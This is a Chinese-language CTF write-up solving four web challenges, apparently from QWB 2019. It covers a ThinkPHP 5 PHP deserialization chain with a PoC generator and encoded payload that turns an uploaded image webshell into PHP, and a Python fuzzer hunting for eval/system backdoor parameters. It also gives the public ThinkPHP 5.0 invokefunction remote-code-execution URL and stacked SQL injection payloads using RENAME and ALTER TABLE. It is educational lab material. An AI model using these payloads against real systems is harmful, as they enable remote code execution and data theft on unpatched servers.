0x01.UPLOAD

知识点:代码审计,PHP 反序列化。

复现环境:https://github.com/CTFTraining/qwb_2019_upload

步骤:

1.先打开靶机看看。

2.看起来是个登录和注册页面,那么就先注册然后登录试试吧。

3.登录之后看到这样一个页面,测了一下只能上传能被正常查看的 png。

4.跳转到了一个新的页面,这个页面似乎没有任何实际功能了。然后可以看到我们图片是正确被上传到服务器上的 /upload/da5703ef349c8b4ca65880a05514ff89/ 下了。

5.然后我们来扫扫敏感文件,发现 /www.tar.gz 下有内容(其实是从第二题得到的提示),下载下来解压看看,发现是 ThinkPHP 5 框架写的。

www.tar.gz

6.而且其有 .idea 目录,我们将其导入到 PHPStorm 看看吧。

7.发现其在 application/web/controller/Register.php 和 application/web/controller/Index.php 下有两个断点,很诡异,估计是 Hint 了。

application/web/controller/Register.php:

application/web/controller/Index.php:

8.看了看,发现这两个点的流程大概如下。

application/web/controller/Index.php 里的:

首先访问大部分页面例如 index 都会调用 login_check 方法。

该方法会先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。

application/web/controller/Register.php 里的:

Register 的析构方法,估计是想判断注没注册,没注册的给调用 check 也就是 Index 的 index 方法,也就是跳到主页了。

9.然后再来审一下其他代码,发现上传图片的主要逻辑在 application/web/controller/Profile.php 里。

先检查是否登录,然后判断是否有文件,然后获取后缀,解析图片判断是否为正常图片,再从临时文件拷贝到目标路径。

而 Profile 有 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。

看起来似乎天衣无缝。

但别忘了前面我们有反序列化和析构函数的调用,结合这三个地方我们就可以操控 Profile 里的参数,控制其中的 upload_img 方法,这样我们就能任意更改文件名,让其为我们所用了。

11.首先用蚁剑生成个马,再用 hex 编辑器构造个图片马,注册个新号上传上去。

12.然后构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。

而后我们又赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。

而后,我们还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。

13.最终 Poc 生成脚本如下,PHP 的。

<?php
namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

注意这里的文件路劲,看 Profile 的构造方法有切换路径,这里我们反序列化的话似乎不会调用构造方法,所以得自己指定一下路径。

14.运行,得到 Poc。

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L2U2ZTljNDgzNjg3NTJiMjYwOTE0YTkxMGJlOTA0MjU3LnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9lNmU5YzQ4MzY4NzUyYjI2MDkxNGE5MTBiZTkwNDI1Ny5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9

15.然后置 coookie。

16.刷新页面。

17.可以看到我们的小马已经能访问了。

18.然后蚁剑连上,打开 /flag 文件。

19.Flag 到手~

0x02. 高明的黑客

知识点:代码审计,动态测试

复现环境:https://github.com/CTFTraining/qwb_2019_smarthacker

步骤:

1.打开靶机,是这样一个页面。

2.那就下载源码吧。

3.来看看,发现大部分文件都是一些垃圾代码,难以解读。

但有些地方是能看的,比如

前头赋值,神仙难救。

神仙难救。

神仙难救。

4.但总有些地方可用的,来写个脚本批量扫描一下 _GET 和 _POST,给他们传一些特定的代码(比如 echo(“glzjin”); /echo(“glzjin”) / echo glzjin,eval,assert,system 函数需要分别处理,一个文件需要用几种姿势多测几次)看看能执行不,能执行返回这种特定的字符串就说明此处可用。

Python 脚本如下:

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)


def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'echo("glzjin");'

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'echo("glzjin");'

        # print(var)

    # eval test
    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = 'echo glzjin'

    for i in data:
        data[i] = 'echo glzjin'

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")


for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)

5.然后在本地开个 PHP 服务器。

/usr/bin/php -S localhost:11180 -t /Users/jinzhao/PhpstormProjects/qwb

6.运行脚本,开扫,扫到一个咯~

7.去这个文件里看看。这一段是关键,拼接了一个 System 出来调用 Efa5BVG 这个参数。

8.OK,那么就来试试读取 flag 吧。访问 /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

9. Flag 到手~

0x03.上单

知识点:通用组件已知漏洞熟悉度- -?

1.打开靶机,发现似乎可以遍历目录。

2.点进去看看,似乎是 ThinkPHP。

3.看看 Readme,似乎是 ThinkPHP 5.0?

4.直接上次去防灾打比赛的 payload 一把梭。

/1/public/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

5. Flag 到手~

0x04.随便注

知识点:堆叠注入

复现环境:https://github.com/CTFTraining/qwb_2019_supersqli

步骤:

1.打开靶机,发现是这样一个页面。

2.然后提交试试。发现似乎是直接把返回的原始数据给返回了。

3.然后来测试一下有没有注入,似乎是有的。

/?inject=1%27or+%271%27%3D%271
/?inject=1' or '1'='1

4.来检查一下过滤情况,过滤函数如下。

过滤了 select,update,delete,drop,insert,where 和 点。

5.咦,过滤了那么些词,是不是有堆叠注入?一测,还真有。下面列出数据库试试。

/?inject=222%27%3Bshow+databases%3B%23
/?inject=222';show databases;#

6. OK,可以。那看看有啥表。

/?inject=222%27%3Bshow+tables%3B%23
/?inject=222';show tables;#

7.来看看这个数字为名字的表里有啥。看来 flag 在这了。

/?inject=222%27%3Bshow+columns%20from%20`1919810931114514`%3B%23
/?inject=222';show columns from `1919810931114514`;#

8.然后是 words 表,看起来就是默认查询的表了。

/?inject=222%27%3Bshow+columns%20from%20`words`%3B%23
/?inject=222';show columns from `words`;#

9.他既然没过滤 alert 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。

先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

这样就可以让程序直接查询出 flag 了。

10.构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)

/?inject=1%27;RENAME%20TABLE%20`words`%20TO%20`words1`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20VARCHAR(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20words;#

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

11.用 1′ or ‘1’=’1 访问一下。

/?inject=1%27+or+%271%27%3D%271#
/?inject=1' or '1'='1

12. Flag 到手~